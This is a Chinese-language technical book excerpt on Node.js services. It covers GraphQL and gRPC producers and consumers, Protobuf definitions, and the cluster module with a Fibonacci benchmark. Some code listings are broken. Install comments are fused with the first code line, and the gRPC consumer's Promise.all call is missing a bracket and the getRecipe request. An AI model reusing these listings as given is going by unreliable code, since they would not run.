| 名称 | 示例 | JSON 等效 |
|---|---|---|
Int |
10, 0, -1 | Number |
Float |
1, -1.0 | Number |
String |
“Hello, friend!\n” | String |
Boolean |
true, false | Boolean |
ID |
“42”, “975dbe93” | String |
接下来详细描述了Recipe对象。此块包含一个id属性,它是一个ID。默认情况下,字段是可空的——如果客户端请求值而服务器未提供该值,则会强制转换为 null。Recipe还具有name和steps属性,它们是字符串(String)。最后,它有一个名为ingredients的属性,其中包含一系列Ingredient条目。接下来的块描述了Ingredient对象并包含其自己的属性。此模式类似于到目前为止在示例应用程序中使用的响应。
查询与响应
接下来,您将看看与此数据交互的查询及其响应有效负载可能看起来像什么。GraphQL 中的查询具有一个非常有用的功能,即消费者可以精确指定它正在查找的属性。另一个方便的功能是响应数据的格式永远不会有任何意外;嵌套查询层次结构最终的形状与结果数据的形状相同。
首先,考虑一个非常基本的示例,仅应从服务器检索pid值。为此进行的查询如下所示:
{
pid
}
与前面查询匹配的示例响应有效负载将如下所示:
{
"data": {
"pid": 9372
}
}
最外层的“信封”对象,即包含data的对象,有助于消除关于响应的元信息的歧义。请记住,GraphQL 并不依赖于提供错误等概念的 HTTP,因此响应有效负载必须能够区分成功的响应和错误(如果此查询有错误,则根本不会有根目录中的data属性,但会有一个errors数组)。
还要注意,尽管在 GraphQL 模式的根Query类型中定义了配方数据,但配方数据根本没有显示出来。这是因为查询精确指定了应返回哪些字段。
下面是一个更复杂的查询。该查询将根据其 ID 获取特定的配方。它还将获取属于该配方的成分的信息。查询将如下所示:
{
recipe(id: 42) {
name
ingredients {
name
quantity
}
}
}
此查询指定要获取具有id为 42 的配方的实例。它还想要该配方的name,但不需要id或steps属性,并且希望访问成分,特别是它们的name和quantity值。
对于此查询的响应有效负载将类似于以下内容:
{
"data": {
"recipe": {
"name": "Chicken Tikka Masala",
"ingredients": [
{ "name": "Chicken", "quantity": "1 lb" },
{ "name": "Sauce", "quantity": "2 cups" }
]
}
}
}
再次注意,嵌套的请求查询与嵌套的 JSON 响应具有相同的形状。假设编写查询的开发人员了解模式,该开发人员可以安全地编写任何查询,并知道它是否有效,知道响应的形状,甚至知道响应中每个属性的类型。
实际上,graphql npm 包提供了一个专门用于编写和测试查询的 Web REPL。此接口的名称是 GraphiQL,这是 “GraphQL” 和 “graphical” 的组合。
graphql 包是在 Node.js 中构建 GraphQL 服务的官方包。它还是 GraphQL 的官方参考实现,因为 GraphQL 并不与特定语言或平台绑定。以下代码示例使用 fastify-gql 包。此包使 GraphQL 与 Fastify 以方便的方式配合工作,但本质上是官方 graphql 包的包装。
GraphQL 生产者
现在您已经看过一些示例查询及其响应,可以开始编写一些代码了。首先,根据 示例 2-11 中的内容创建一个新的 recipe-api 服务文件。
示例 2-11. recipe-api/producer-graphql.js
#!/usr/bin/env node // npm install fastify@3.2 fastify-gql@5.3 const server = require('fastify')();
const graphql = require('fastify-gql');
const fs = require('fs');
const schema = fs.readFileSync(__dirname +
'/../shared/graphql-schema.gql').toString(); 
const HOST = process.env.HOST || '127.0.0.1';
const PORT = process.env.PORT || 4000;
const resolvers = { 
Query: { 
pid: () => process.pid,
recipe: async (_obj, {id}) => {
if (id != 42) throw new Error(`recipe ${id} not found`);
return {
id, name: "Chicken Tikka Masala",
steps: "Throw it in a pot...",
}
}
},
Recipe: { 
ingredients: async (obj) => {
return (obj.id != 42) ? [] : [
{ id: 1, name: "Chicken", quantity: "1 lb", },
{ id: 2, name: "Sauce", quantity: "2 cups", }
]
}
}
};
server
.register(graphql, { schema, resolvers, graphiql: true }) 
.listen(PORT, HOST, () => {
console.log(`Producer running at http://${HOST}:${PORT}/graphql`);
});
将模式文件提供给 graphql 包。
resolvers 对象告诉 graphql 如何构建响应。
Query 条目代表顶级查询。
当检索 Recipe 时,将运行 Recipe 解析器。
Fastify 使用 server.register() 与 fastify-gql 包;其他框架有其自己的惯例。
GraphQL 代码在 server.register 行中注册到 Fastify 服务器。这最终创建一个路由,在 /graphql 处监听传入请求。消费者稍后将向此端点发送查询。以下对象使用 shared/graphql-schemal.gql 文件的内容配置 GraphQL,引用 resolvers 对象(稍后讨论),以及最终的 graphiql 标志。如果该标志为 true,则启用前面提到的 GraphiQL 控制台。服务运行时,可以访问该控制台 http://localhost:4000/graphiql。在生产环境中,最好永远不要将该值设置为 true。
现在是考虑 resolvers 对象的时候了。该对象具有与 GraphQL 模式中描述的不同类型相对应的根属性。Query 属性描述了顶层查询,而 Recipe 则描述了 Recipe 对象。这两个对象的每个属性都是一个异步方法(在代码的其他地方会进行等待)。这意味着这些方法可以返回一个 Promise,它们可以是一个 async 函数,或者它们可以只返回一个简单的值。在此示例中没有涉及数据库,因此每个方法都是同步运行并返回一个简单值。
当调用这些方法时,GraphQL 提供关于调用上下文的参数。例如,请考虑 resolvers.Query.recipe 方法。在这种情况下,第一个参数是一个空对象,因为它在查询的根部调用。但是,第二个参数是一个表示传递给此函数的参数的对象。在模式文件中,recipe() 被定义为接受一个名为 id 的参数,该参数接受一个 ID 并返回一个 Recipe 类型。因此,在此方法中,提供 id 作为参数。还预期返回一个符合 Recipe 结构的对象。
在模式中,您已将 Recipe 定义为具有 id、name、steps 和 ingredients 属性。因此,在返回的对象中,已指定每个标量值。但是,ingredients 属性尚未定义。当 GraphQL 代码运行时,resolvers.Recipe 将自动拾取它。
GraphQL 强制要求请求的 JSON 响应与传入的查询形状匹配。如果 recipe() 方法中的响应对象被修改以包含称为 serves 的附加属性,GraphQL 将在将响应发送给客户端之前自动删除该未知值。此外,如果客户端未请求已知的 id 或 name 值之一,则它们也将从响应中删除。
一旦 GraphQL 代码运行了 resolvers 并且从 recipe() 方法调用中接收到了顶层配方对象,假设客户端请求了 ingredients,现在可以调用代码来填充这些配料值。这是通过调用 resolvers.Recipe.ingredients 方法来完成的。在这种情况下,第一个参数现在包含有关父对象的信息,这里是顶层 Recipe 实例。提供的对象包含从 recipe() 方法调用返回的所有信息(例如 id、name 和 steps 值)。id 通常是最有用的值。如果此应用程序由数据库支持,则可以使用 id 进行数据库查询并获取相关的 Ingredient 条目。但是,此简单示例仅使用硬编码值。
注意
resolvers 对象中描述的每个方法都可以异步调用。GraphQL 足够智能,可以基本并行地调用它们所有,从而使您的应用程序可以从其他源获取多个异步出站调用的数据。一旦最慢的请求完成,那么整体查询就可以完成,并且可以向消费者发送响应。
GraphQL 消费者
现在您已经熟悉了构建提供 GraphQL 接口的生产者所需的内容,是时候看看构建消费者所需的内容了。
构建一个消费者要简单一些。有一些 npm 包可以帮助生成查询,但与 GraphQL 服务进行交互是足够简单的,您可以简单地使用基本工具重新构建它。
示例 2-12 创建了一个新的 web-api 消费者。此示例中最重要的部分是将要发送的查询。它还将使用 query variables,这是 SQL 中 query parameters 的 GraphQL 等效项。变量非常有用,因为与 SQL 类似,手动将字符串连接在一起以将动态数据(例如用户提供的值)与静态数据(如查询代码)组合起来是危险的。
示例 2-12. web-api/consumer-graphql.js
#!/usr/bin/env node // npm install fastify@3.2 node-fetch@2.6 const server = require('fastify')();
const fetch = require('node-fetch');
const HOST = '127.0.0.1';
const PORT = process.env.PORT || 3000;
const TARGET = process.env.TARGET || 'localhost:4000';
const complex_query = `query kitchenSink ($id:ID) {  recipe(id: $id) {
id name
ingredients {
name quantity
}
}
pid
}`;
server.get('/', async () => {
const req = await fetch(`http://${TARGET}/graphql`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ 
query: complex_query,
variables: { id: "42" }
}),
});
return {
consumer_pid: process.pid,
producer_data: await req.json()
};
});
server.listen(PORT, HOST, () => {
console.log(`Consumer running at http://${HOST}:${PORT}/`);
});
这里有一个更复杂的查询,接受参数。
请求体是封装了 GraphQL 查询的 JSON。
此示例进行了 POST 请求,并向服务器发送了 JSON 负载。此负载包含了查询和变量。query 属性是 GraphQL 查询字符串,variables 属性包含变量名称与其值的映射。
发送的 complex_query 请求几乎要求服务器支持的每一个数据片段。它还使用了更复杂的语法来指定将在查询中使用的变量。在本例中,它命名了查询为 kitchenSink,这对调试很有用。查询的参数在名称之后被定义,例如声明了一个名为 $id 类型为 ID 的变量。然后将该变量传递给 recipe() 方法。请求体的 variables 属性包含一个单一的变量。在此部分,变量不需要以 $ 开头。
一旦您修改了这两个文件,请运行两个服务,然后通过以下命令向消费者服务发出请求:
$ node recipe-api/producer-graphql.js # terminal 1
$ node web-api/consumer-graphql.js # terminal 2
$ curl http://localhost:3000 # terminal 3
您将会收到一个类似于这样的回复:
{
"consumer_pid": 20827,
"producer_data": {
"data": {
"recipe": {
"id": "42",
"name": "Chicken Tikka Masala",
"ingredients": [
{ "name": "Chicken", "quantity": "1 lb" },
{ "name": "Sauce", "quantity": "2 cups" }
]
},
"pid": 20842
}
}
}
GraphQL 提供了比本节列出的更多功能。例如,它包括一个称为 mutations 的功能,允许客户端修改文档。它还有一个称为 subscription 的功能,允许客户端订阅并接收消息流。
“GraphQL 基准测试” 包含了使用 GraphQL 在两个服务器之间进行通信的基准测试。
使用 gRPC 进行 RPC
类似 REST 和在某种程度上 GraphQL 的模式尝试将生产者提供的底层功能抽象化,并且基本上暴露出一个由数据驱动和 CRUD 操作的 API。尽管服务内部可能非常复杂,但消费者最终只能看到一个充满名词而几乎没有动词的接口。
例如,一个具有 RESTful 接口的 API 可能允许消费者创建发票。可以使用POST方法结合名为/invoice的路由执行此操作。但是,当发票创建时,生产者如何允许消费者向用户发送电子邮件呢?是否应该为发票电子邮件设置单独的端点?在创建时是否应该在发票记录中设置一个名为email的属性,并将其设置为 true 以触发电子邮件?通常情况下,使用 HTTP 提供的方法来表示应用程序功能并不完美。这时候,可能需要寻找一种新的模式。
远程过程调用(RPC) 就是这样一种模式。与提供有限动词列表的 HTTP 不同,RPC 基本上可以支持开发者想要的任何动词。如果你考虑应用的核心部分,前述的POST /invoice路由最终会调用应用程序深处的某些代码。在代码中可能会有一个名为create_invoice()的相关方法。通过 RPC,你可以将这种方法暴露到网络中,几乎保持其原始形式,而无需创建不同的接口。
总的来说,RPC 的工作原理是选择要暴露在应用程序中的函数,并创建这些函数与某种网络接口之间的映射。当然,这不像简单地将函数暴露给网络那样直截了当。这些方法需要非常严格地确定它们接受的数据类型及其来源(就像 HTTP 端点应该做的那样)。
在服务之间提供网络 RPC 端点的最流行标准之一是 Google 的gRPC。gRPC 通常通过 HTTP/2 提供服务。与 GraphQL 使用单个 HTTP 端点不同,gRPC 使用端点确定调用哪种方法。
协议缓冲区
不像 JSON 通过 HTTP 和 GraphQL,gRPC 通常不会通过纯文本传递消息。相反,它使用协议缓冲区(即 Protobufs)来传输数据,这是一种用于表示序列化对象的二进制格式。这种表示形式导致消息负载更小且网络性能更高。它不仅创建了更紧凑的消息,而且减少了每条消息发送的冗余信息量。关于 OSI 模型,Protobufs 可以被视为运行在第 8 层,而 HTTP/2 运行在第 7 层。
Protobufs 使用自己的语言描述可以在 gRPC 服务器中表示的消息。这些文件以 .proto 结尾,类似于 GraphQL 模式。Example 2-13 展示了如何为 gRPC 服务定义类似操作。
Example 2-13. shared/grpc-recipe.proto
syntax = "proto3";
package recipe;
service RecipeService { 
rpc GetRecipe(RecipeRequest) returns (Recipe) {}
rpc GetMetaData(Empty) returns (Meta) {}
}
message Recipe {
int32 id = 1; 
string name = 2;
string steps = 3;
repeated Ingredient ingredients = 4; 
}
message Ingredient {
int32 id = 1;
string name = 2;
string quantity = 3;
}
message RecipeRequest {
int32 id = 1;
}
message Meta { 
int32 pid = 2;
}
message Empty {}
一个名为 RecipeService 的服务定义。
一个类型为 Meta 的消息。
一个名为 id 的字段,可以是 32 位整数。
一个名为 ingredients 的字段中的 Recipe 消息数组,这是该消息的第四个条目。
recipe.proto 文件由客户端和服务器共享。这使得两端能够相互通信,并能够解码和编码发送的消息。gRPC 定义了 RPC 方法,可以接受特定类型的消息并返回另一个类型的消息,还定义了服务,用于组织相关的方法调用。
注意消息类型的粒度。GraphQL 是以 JSON 和 HTTP 为基础构建的,使用 Int 指定数字类型,即整数。gRPC 则是源自 C 语言的低级描述,更详细地描述整数的大小,例如 int32。如果用于 JSON,通常没有理由限制整数的大小。Table 2-4 列出了常见 gRPC 数据类型的详细列表。
Table 2-4. 常见 gRPC 标量类型
| 名称 | 示例 | Node/JS 等效 |
|---|---|---|
double |
1.1 | Number |
float |
1.1 | Number |
int32 |
-2_147_483_648 | Number |
int64 |
9_223_372_036_854_775_808 | Number |
bool |
true, false | Boolean |
string |
“Hello, friend!\n” | String |
bytes |
binary data | Buffer |
repeated 关键字意味着字段可以包含多个值。在这些情况下,这些值可以表示为该值类型的数组。
提示
还有一些其他的数字格式可以在 gRPC 中表示。包括 uint32 和 uint64,sint32 和 sint64,fixed32 和 fixed64,最后是 sfixed32 和 sfixed64。每种类型对表示的数字范围、精度以及数字在传输中的表示有不同的限制。当 Number 不够时,可以配置 @grpc/proto-loader 包使用 String 表示不同的值。
这些消息类型的另一个有趣之处是每个字段关联的数值。这些值表示字段在消息中的顺序。例如,Ingredient消息的id是第一个属性,quantity是第三个属性。起初列出这些数字似乎很奇怪,但顺序非常重要。与 JSON 不同,JSON 技术上没有属性的顺序,但在协议缓冲区消息中,属性的顺序非常重要,有两个原因。
第一个原因是字段名不会随着消息本身一起传输。由于模式在客户端和服务器之间共享,字段的名称会显得多余。简单来说,想象一下用 JSON 和二进制分别传输两个整数的情况。这两条消息可能看起来像是:
{"id":123,"code":456}
01230456
如果始终发送两个数字,并且大家都知道第一个叫id,第二个叫code,那么像第二行中的消息表示方式就去除了不必要的冗余。这类似于 CSV 的工作原理:第一行是列名,后续行是数据。
第二个原因是字段顺序的重要性在于,使用 Protobuf 和 gRPC 本身设计为向后兼容。例如,如果 Protobufs 的 v1 版本的Ingredient消息包含id、name和quantity字段,而某一天创建了一个新的 v2 版本,并添加了第四个substitute字段,那么网络上仍在使用 v1 版本的节点可以安全地忽略额外的字段,并与其他节点进行通信。在旧版本逐步淘汰的情况下,这对于逐步发布新应用程序版本是有利的。
gRPC 支持四种消息传递方式,尽管这些例子只关注最基本的方式。消息请求和响应可以是流式的,也可以是单个消息。这些例子中使用的基本方式涉及非流式的请求和响应。然而,可以使用服务器端流式 RPC,其中服务器会流式传输响应;客户端端流式 RPC,其中客户端会流式传输请求;或者双向流式 RPC,其中客户端和服务器会流式传输请求和响应。在处理流时,会提供一个EventEmitter的实例,但在处理单个消息时,代码将使用回调函数。
gRPC 生产者
现在您已经查看了一些 Protobuf 消息和服务定义,现在是时候使用 Node.js 实现一个 gRPC 服务器了。同样,您将从创建一个新的recipe-api/服务开始。创建一个文件,类似于 示例 2-14,并确保安装必要的依赖项。以@符号开头的依赖项表示在 npm 注册表中的作用域包。
示例 2-14. recipe-api/producer-grpc.js
#!/usr/bin/env node
// npm install @grpc/grpc-js@1.1 @grpc/proto-loader@0.5 const grpc = require('@grpc/grpc-js');
const loader = require('@grpc/proto-loader');
const pkg_def = loader.loadSync(__dirname +
'/../shared/grpc-recipe.proto'); 
const recipe = grpc.loadPackageDefinition(pkg_def).recipe;
const HOST = process.env.HOST || '127.0.0.1';
const PORT = process.env.PORT || 4000;
const server = new grpc.Server();
server.addService(recipe.RecipeService.service, { 
getMetaData: (_call, cb) => { 
cb(null, {
pid: process.pid,
});
},
getRecipe: (call, cb) => { 
if (call.request.id !== 42) {
return cb(new Error(`unknown recipe ${call.request.id}`));
}
cb(null, {
id: 42, name: "Chicken Tikka Masala",
steps: "Throw it in a pot...",
ingredients: [
{ id: 1, name: "Chicken", quantity: "1 lb", },
{ id: 2, name: "Sauce", quantity: "2 cups", }
]
});
},
});
server.bindAsync(`${HOST}:${PORT}`,
grpc.ServerCredentials.createInsecure(), 
(err, port) => {
if (err) throw err;
server.start();
console.log(`Producer running at http://${HOST}:${port}/`);
});
生产者需要访问 .proto 文件。在这种情况下,它在启动时加载和处理,导致小额启动成本。
定义服务时,提供一个对象,其属性反映 .proto 文件中定义的方法。
该方法对应于 .proto 定义中的 GetMetaData(Empty) 方法。
getRecipe() 方法在请求期间使用了传入的对象。此对象作为 call.request 提供。
gRPC 可以使用 TLS 和身份验证,但在本示例中已禁用。
此服务器侦听发送到本地主机端口 4000 的 HTTP/2 请求。与两种方法相关联的 HTTP 路由基于服务名称和方法名称。这意味着 getMetaData() 方法实际上位于以下 URL:
http://localhost:4000/recipe.RecipeService/GetMetaData
gRPC 包抽象了底层的 HTTP/2 层,因此通常无需将 gRPC 服务视为通过 HTTP/2 进行,也无需考虑路径。
gRPC 消费者
现在是时候实现消费者了。示例 2-15 是 web-api 服务的重制版本。在撰写本文时,官方的 @grpc/grpc-js npm 包通过暴露使用回调的方法工作。此代码示例使用 util.promisify(),以便您可以使用异步函数调用方法。
示例 2-15. web-api/consumer-grpc.js
#!/usr/bin/env node
// npm install @grpc/grpc-js@1.1 @grpc/proto-loader@0.5 fastify@3.2 const util = require('util');
const grpc = require('@grpc/grpc-js');
const server = require('fastify')();
const loader = require('@grpc/proto-loader');
const pkg_def = loader.loadSync(__dirname +
'/../shared/grpc-recipe.proto'); 
const recipe = grpc.loadPackageDefinition(pkg_def).recipe;
const HOST = '127.0.0.1';
const PORT = process.env.PORT || 3000;
const TARGET = process.env.TARGET || 'localhost:4000';
const client = new recipe.RecipeService( 
TARGET,
grpc.credentials.createInsecure() 
);
const getMetaData = util.promisify(client.getMetaData.bind(client));
const getRecipe = util.promisify(client.getRecipe.bind(client));
server.get('/', async () => {
const [meta, recipe] = await Promise.all(
getMetaData({}), 
]);
return {
consumer_pid: process.pid,
producer_data: meta,
recipe
};
});
server.listen(PORT, HOST, () => {
console.log(`Consumer running at http://${HOST}:${PORT}/`);
});
就像生产者服务一样,这个服务在启动时加载 .proto 定义。
gRPC 客户端知道自己正在连接到一个 recipe.RecipeService 服务。
与生产者一样,此处已禁用安全性。
GetMetaData() 调用使用了一个 Empty 消息,其中不包含任何属性。
GetRecipe() 调用期望一个 RecipeRequest 消息。在这里,传入一个形状相同的对象。
本示例在 web-api 和 recipe-api 服务之间发送了两个请求,而以前的 GraphQL 和 JSON over HTTP 示例则只进行了单个请求。虽然可以在单个请求中检索所有所需信息,但我觉得此示例有助于传达 RPC 模式的核心,即在远程服务器上调用各个方法。
注意 @grpc/grpc-js 包能够查看您的 .proto 文件,并为您提供一个具有与服务中方法对应的方法的对象。在这种情况下,客户端有一个名为 getMetaData() 的方法。这使得 RPC 所要传达的感觉变得更为强烈,即一个服务上的代码在远程调用另一个服务上的方法,就像这些方法存在于本地一样。
现在,您已经定义了这两个服务,请继续运行它们并通过运行以下命令进行请求:
$ node recipe-api/producer-grpc.js # terminal 1
$ node web-api/consumer-grpc.js # terminal 2
$ curl http://localhost:3000/ # terminal 3
对于此请求的响应应类似于以下的 JSON 载荷:
{
"consumer_pid": 23786,
"producer_data": { "pid": 23766 },
"recipe": {
"id": 42, "name": "Chicken Tikka Masala",
"steps": "Throw it in a pot...",
"ingredients": [
{ "id": 1, "name": "Chicken", "quantity": "1 lb" },
{ "id": 2, "name": "Sauce", "quantity": "2 cups" }
]
}
}
消费者服务已经将两个 gRPC 方法的结果合并在一起,但它们仍然在生成的文档中可见。recipe 属性与 .proto 文件中的 Recipe 消息定义相关联。请注意,它包含一个名为 ingredients 的属性,这是 Recipe 实例数组。
“gRPC benchmarks” 包含了使用 gRPC 在两个服务器之间通信的基准测试。
^(1) 这些代码示例采取了许多简化措施以保持简洁。例如,在生成路径时始终优先使用 path.join() 而不是手动字符串连接。
第三章:扩展
运行服务的冗余副本至少有两个重要原因。
第一个原因是实现 高可用性。考虑到进程和整个机器偶尔会崩溃。如果只有一个生产者实例在运行,而该实例崩溃,则消费者无法正常工作,直到崩溃的生产者重新启动。如果有两个或更多运行中的生产者实例,则单个宕机实例不一定会阻止消费者正常工作。
另一个原因是,特定的 Node.js 实例可以处理的吞吐量是有限的。例如,根据硬件不同,最基本的 Node.js “Hello World” 服务可能的吞吐量大约为每秒 40,000 个请求(r/s)。一旦应用程序开始串行化和反串行化负载或进行其他 CPU 密集型工作,吞吐量将急剧下降。将工作卸载到额外的进程有助于防止单个进程过载。
有几种工具可用于分解工作。“集群模块” 着眼于一个内置模块,使得在同一台服务器上运行应用程序代码的冗余副本变得简单。“使用 HAProxy 的反向代理” 使用外部工具运行服务的多个冗余副本,允许它们在不同的机器上运行。最后,“SLA 和负载测试” 讨论如何通过检查基准测试来理解服务可以处理的负载,这可以用来确定它应该扩展到的实例数量。
集群模块
Node.js 提供了 cluster 模块,允许在同一台机器上运行多个 Node.js 应用程序副本,并将传入的网络消息分派给这些副本。该模块类似于 child_process 模块,它提供了一个 fork() 方法^(1) 用于生成 Node.js 子进程;主要区别在于增加了路由传入请求的机制。
cluster 模块提供了一个简单的 API,并且对任何 Node.js 程序都是立即可用的。因此,当应用程序需要扩展到多个实例时,它通常是第一反应的解决方案。它已经变得非常普遍,许多开源的 Node.js 应用程序依赖于它。不幸的是,它也有点反模式,并且几乎从不是扩展进程的最佳工具。由于它的普及性,理解它的工作方式是必要的,尽管你应该尽量避免使用它。
集群文档 包含一个单独的 Node.js 文件,加载了 http 和 cluster 模块,并包含一个 if 语句,用于检查脚本是否作为主进程运行,如果是,则分叉出一些工作进程。否则,如果不是主进程,则创建一个 HTTP 服务并开始监听。这个示例代码有些危险,同时也有些误导性。
一个简单的例子
文档代码示例之所以危险,是因为它促使在父进程内加载许多潜在复杂和沉重的模块。它误导的原因在于,示例并未明确表明应用程序的多个独立实例正在运行,而且像全局变量之类的东西是不能共享的。因此,您将考虑使用 示例 3-1 中显示的修改后示例。
示例 3-1. recipe-api/producer-http-basic-master.js
#!/usr/bin/env node const cluster = require('cluster'); 
console.log(`master pid=${process.pid}`);
cluster.setupMaster({
exec: __dirname+'/producer-http-basic.js' 
});
cluster.fork(); 
cluster.fork();
cluster
.on('disconnect', (worker) => { 
console.log('disconnect', worker.id);
})
.on('exit', (worker, code, signal) => {
console.log('exit', worker.id, code, signal);
// cluster.fork(); 
})
.on('listening', (worker, {address, port}) => {
console.log('listening', worker.id, `${address}:${port}`);
});
父进程需要cluster模块。
覆盖 __filename 的默认应用程序入口点。
每次需要创建工作进程时都会调用 cluster.fork()。这段代码生成了两个工作进程。
cluster 发出的多个事件被监听并记录。
取消注释此行以使工作进程难以终止。
cluster的工作方式是,主进程以特殊模式生成工作进程,在此模式下可以发生一些事情。在此模式下,当工作进程尝试监听一个端口时,它会向主进程发送一条消息。实际上是主进程监听端口。然后将传入请求路由到不同的工作进程。如果任何工作进程尝试监听特殊端口 0(用于选择随机端口),主进程将监听一次,并且每个单独的工作进程将从相同的随机端口接收请求。这种主从关系的可视化示例在 图 3-1 中提供。

图 3-1. 使用cluster的主从关系
对于作为工作进程的基本无状态应用程序,无需进行任何更改——recipe-api/producer-http-basic.js 代码将正常工作。^(2) 现在是时候向服务器发出一些请求了。这次,执行 recipe-api/producer-http-basic-master.js 文件,而不是 recipe-api/producer-http-basic.js 文件。在输出中,你应该看到类似以下的一些消息:
master pid=7649
Producer running at http://127.0.0.1:4000
Producer running at http://127.0.0.1:4000
listening 1 127.0.0.1:4000
listening 2 127.0.0.1:4000
现在有三个运行中的进程。可以通过运行以下命令来确认,其中 <PID> 替换为主进程的进程 ID,在我的情况下是 7649:
$ brew install pstree # if using macOS
$ pstree <PID> -p -a
在我的 Linux 机器上运行此命令的输出的截断版本如下所示:
node,7649 ./master.js
├─node,7656 server.js
│ ├─{node},15233
│ ├─{node},15234
│ ├─{node},15235
│ ├─{node},15236
│ ├─{node},15237
│ └─{node},15243
├─node,7657 server.js
│ ├─ ... Six total children like above ...
│ └─{node},15244
├─ ... Six total children like above ...
└─{node},15230
这提供了父进程的可视化显示,显示为 ./master.js,以及两个子进程,显示为 server.js。如果在 Linux 机器上运行,还会显示一些其他有趣的信息。请注意,每个三个进程下面都显示六个额外的子条目,每个标记为 {node},以及它们独特的进程 ID。这些条目表明底层 libuv 层中的多线程。请注意,如果在 macOS 上运行此命令,你只会看到列出的三个 Node.js 进程。
请求分派
在 macOS 和 Linux 机器上,默认情况下,请求会循环地分派给工作进程。在 Windows 上,请求将根据被视为最不忙的工作进程来分派。你可以直接向 recipe-api 服务发起三个连续的请求,看看这种情况自己发生。通过这个例子,请求直接发送到 recipe-api,因为这些更改不会影响 web-api 服务。在另一个终端窗口中运行以下命令三次:
$ curl http://localhost:4000/recipes/42 # run three times
在输出中,你应该看到请求在两个运行的工作进程之间循环:
worker request pid=7656
worker request pid=7657
worker request pid=7656
正如你可能从 Example 3-1 中回忆的那样,在 recipe-api/master.js 文件中创建了一些事件监听器。到目前为止,listening 事件已被触发。接下来的步骤将触发另外两个事件。当你进行了三次 HTTP 请求时,工作进程的 PID 值将在控制台中显示。继续杀死其中一个进程,看看会发生什么。选择一个 PID,并运行以下命令:
$ kill <pid>
在我的情况下,我运行了 kill 7656。然后,主进程会依次触发 disconnect 和 exit 事件。你应该会看到类似以下的输出:
disconnect 1
exit 1 null SIGTERM
现在,请继续执行相同的三个 HTTP 请求:
$ curl http://localhost:4000/recipes/42 # run three times
这一次,每个响应都来自同一个剩余的工作进程。然后,如果你使用剩余的工作进程运行 kill 命令,你会看到 disconnect 和 exit 事件被调用,然后主进程退出。
注意,在 exit 事件处理程序内有一个被注释的 cluster.fork() 调用。取消注释该行,重新启动主进程,并发出一些请求以获取工作进程的 PID 值。然后,运行 kill 命令来停止其中一个工作进程。注意,工作进程将立即由主进程重新启动。在这种情况下,永久终止子进程的唯一方法是杀死主进程。
集群的缺点
cluster 模块并不是万能解决方案。事实上,它往往更像是一种反模式。更多时候,应该使用另一个工具来管理多个 Node.js 进程的副本。这样做通常有助于查看进程崩溃的情况,并允许轻松地扩展实例。当然,您可以构建应用程序支持增加和减少工作进程的功能,但最好留给外部工具来完成。第七章 将深入探讨如何实现这一点。
在应用程序受 CPU 而非 I/O 限制的情况下,该模块通常非常有用。这部分是因为 JavaScript 是单线程的,以及 libuv 在处理异步事件时非常高效。由于它将传入请求传递给子进程的方式,它也相当快速。理论上,这比使用反向代理更快。
提示
Node.js 应用程序可能会变得复杂。进程经常使用数十甚至数百个模块进行外部连接、消耗内存或读取配置。每一个操作都可能在应用程序中暴露另一个弱点,导致其崩溃。
因此,最好保持主进程尽可能简单。示例 3-1 表明,主进程没有必要加载 HTTP 框架或者再消耗其他数据库连接。逻辑可能可以内置到主进程中以重新启动失败的工作进程,但是主进程本身并不容易重新启动。
cluster 模块的另一个注意事项是,它基本上是在第四层运行,即 TCP/UDP 层,并且不一定意识到第七层协议。为什么这很重要呢?嗯,在一个传入的 HTTP 请求被发送到一个主节点和两个工作节点后,假设 TCP 连接在请求完成后关闭,那么每个后续的请求将被分发到不同的后端服务。然而,对于基于 HTTP/2 的 gRPC,这些连接被故意保持更长时间。在这些情况下,未来的 gRPC 调用不会被分派到不同的工作进程,它们将仅限于一个进程。当这种情况发生时,通常会看到一个工作节点在大部分工作中承担责任,而集群的整个目的也就失去了意义。
这个与粘性连接有关的问题可以通过将其适应之前编写的代码 “使用 gRPC 进行 RPC” 来证明。通过保持生产者和消费者代码完全相同,并引入来自 示例 3-1 的通用集群主节点,问题就会浮出水面。运行生产者主节点和消费者,并向消费者发出几个 HTTP 请求,返回的producer_data.pid值将始终相同。然后,停止并重新启动消费者。这将导致 HTTP/2 连接停止并重新启动。cluster的轮询路由将消费者路由到另一个工作进程。再次向消费者发出几个 HTTP 请求,producer_data.pid值现在都指向第二个工作进程。
另一个不应总是使用cluster模块的原因是,它并不总是会使应用程序更快。在某些情况下,它可能只会消耗更多资源,对应用程序的性能要么没有影响,要么产生负面影响。例如,考虑一个进程被限制在单个 CPU 核心的环境。这可能发生在你运行在像 AWS EC2 上提供的t3.small机器这样的 VPS(虚拟专用服务器,一个专用虚拟机的花哨名称)上。这也可能发生在进程在具有 CPU 限制的容器内运行的情况下,这可以在 Docker 中运行应用程序时进行配置。
减速的原因是:当使用两个工作进程运行集群时,有三个单线程的 JavaScript 实例在运行。然而,每次只有一个 CPU 核心可用于依次运行每个实例。这意味着操作系统必须做更多的工作来决定在任何给定时间内哪个进程运行。确实,主实例大部分时间都在休眠,但两个工作进程将争夺 CPU 周期。
是时候从理论转向实践了。首先,创建一个用于模拟执行 CPU 密集型工作的服务的新文件,使其成为使用cluster的候选项。这个服务将根据输入的数字简单地计算斐波那契值。示例 3-2 是这样一个服务的示例。
示例 3-2. cluster-fibonacci.js
#!/usr/bin/env node
// npm install fastify@3.2 const server = require('fastify')();
const HOST = process.env.HOST || '127.0.0.1';
const PORT = process.env.PORT || 4000;
console.log(`worker pid=${process.pid}`);
server.get('/:limit', async (req, reply) => { 
return String(fibonacci(Number(req.params.limit)));
});
server.listen(PORT, HOST, () => {
console.log(`Producer running at http://${HOST}:${PORT}`);
});
function fibonacci(limit) { 
let prev = 1n, next = 0n, swap;
while (limit) {
swap = prev;
prev = prev + next;
next = swap;
limit--;
}
return next;
}
该服务有一个单一路由,/<limit>,其中 limit 是要计数的迭代次数。
fibonacci()方法执行大量 CPU 密集型数学运算并阻塞事件循环。
同样的 示例 3-1 代码可以用于充当集群主节点。重新创建集群主示例中的内容,并将其放在 master-fibonacci.js 文件旁边,而不是 cluster-fibonacci.js。然后,更新它,使其加载 cluster-fibonacci.js,而不是 producer-http-basic.js。
你将要做的第一件事是对一组斐波那契服务运行基准测试。执行 master-fibonacci.js 文件,然后运行一个基准测试命令:
$ npm install -g autocannon@6 # terminal 1
$ node master-fibonacci.js # terminal 1
$ autocannon -c 2 http://127.0.0.1:4000/100000 # terminal 2
